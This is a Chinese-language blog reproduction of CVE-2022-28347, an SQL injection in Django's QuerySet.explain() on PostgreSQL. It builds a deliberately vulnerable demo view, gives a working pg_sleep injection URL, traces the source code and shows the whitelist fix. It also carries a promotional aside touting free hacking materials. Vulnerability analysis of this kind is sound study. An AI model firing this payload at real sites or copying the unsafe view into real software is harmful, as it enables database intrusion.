Django SQL注入漏洞復現 (CVE-2022-28347)

image

漏洞簡介

在Django 2.2 的 2.2.28 之前版本、3.2 的 3.2.13 之前版本和 4.0 的 4.0.4 之前版本中的 QuerySet.deexplain() 中發現了SQL注入問題。這是通過傳遞一個精心編制的字典(帶有字典擴展)作爲**options參數來實現的,並將注入負載放置在選項名稱中。

影響版本

2.2 =< Django < 2.2.28

3.2 =< Django < 3.2.13

4.0 =< Django < 4.0.4

環境搭建

創建存在 漏洞 Django 版本 3.2.12 項目

創建 startapp Demo 並依次修改文件

安裝 postgresql 數據庫

settings.py 設置連接數據庫爲 postgresql 數據庫

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.postgresql',
        'NAME': 'test',
        'USER': 'postgres',
        'PASSWORD': '123456',
        'HOST': '127.0.0.1',
        'PORT': '5432',
    }
}

urls.py 設定對應路由

from django.contrib import admin
from django.urls import path
​
from Demo import views
​
urlpatterns = [
    path('admin/', admin.site.urls),
    path('index/', views.index),
    path('demo/', views.users),
    path('initialize/', views.loadexampledata),
]

models.py

from django.db import models
​
# Create your models here.
class User(models.Model):
    name = models.CharField(max_length=200)
​
    def __str__(self):
        return self.name

views.py

import json
​
​
from django.http import HttpResponse
from django.shortcuts import render
​
# Create your views here.
from .models import User
​
​
​
def index(request):
    return HttpResponse('hello world')
​
def users(request):
    query = request.GET.get('q')
    query = json.loads(query)
    qs = User.objects.get_queryset().explain(**query)
    return HttpResponse(qs)
​
​
def loadexampledata(request):
    u = User(name="Admin")
    u.save()
    u = User(name="Staff1")
    u.save()
    u = User(name="Staff12")
    u.save()
    return HttpResponse("ok")

漏洞復現

http://127.0.0.1:8000/demo/?q={"ANALYZE)+select+pg_sleep(5);--+":"aaa"}

image

發現成功構造使得服務器沉睡

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

漏洞分析

在進行代碼分析之前,我們先了解一個知識點 EXPLAIN

EXPLAIN

EXPLAIN -- 顯示一個語句的執行計劃

image

EXPLAIN [ ( option [, ...] ) ] statement
EXPLAIN [ ANALYZE ] [ VERBOSE ] statement
​
option:
    ANALYZE [ boolean ]   執行命令並顯示實際運行時間
    VERBOSE [ boolean ]   顯示規劃樹完整的內部表現形式,而不僅是一個摘要
    COSTS [ boolean ]
    BUFFERS [ boolean ]
    TIMING [ boolean ]
    FORMAT { TEXT | XML | JSON | YAML }
​
statement:
    查詢執行計劃的 SQL 語句,可以是任何 select、insert、update、delete、values、execute、declare 語句

EXPLAIN ANALYZE不僅會顯示查詢計劃,還會實際運行語句。EXPLAIN ANALYZE會丟掉任何來自SELECT語句的輸出,但是該語句中的其他操作會被執行(例如INSERT、UPDATE或者DELETE)。

調試分析

image

django.db.models.query.QuerySet.explain

image

django.db.models.sql.query.Query.explain

image

django.db.models.sql.compiler.SQLCompiler.explain_query

image

django.db.models.sql.compiler.SQLCompiler.execute_sql

image

django.db.models.sql.compiler.SQLCompiler.as_sql

image

在這裏會根據所選擇的數據庫,來調用其相對應的 explain_query_prefix 方法

django.db.backends.postgresql.operations.DatabaseOperations.explain_query_prefix

image

postgresql​ 中 重寫了 explain_query_prefix 方法將鍵名拼接到了 SQL 語句中

image

最後執行的 SQL 語句是

'EXPLAIN (ANALYZE) SELECT PG_SLEEP(5);--  true) SELECT "Demo_user"."id", "Demo_user"."name" FROM "Demo_user"'

漏洞修復

https://github.com/django/django/commit/00b0fc50e1738c7174c495464a5ef069408a4402#diff-fbd8a517f5fa1333b9f7273bcd007551cd2fb4b8f6732cd6002ba42411802901

image

做了一個過濾,發現危險字符就拋出異常

image

只有字符串在白名單內纔會拼接到語句中

更多網安技能的在線實操練習,請點擊這裏>>

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章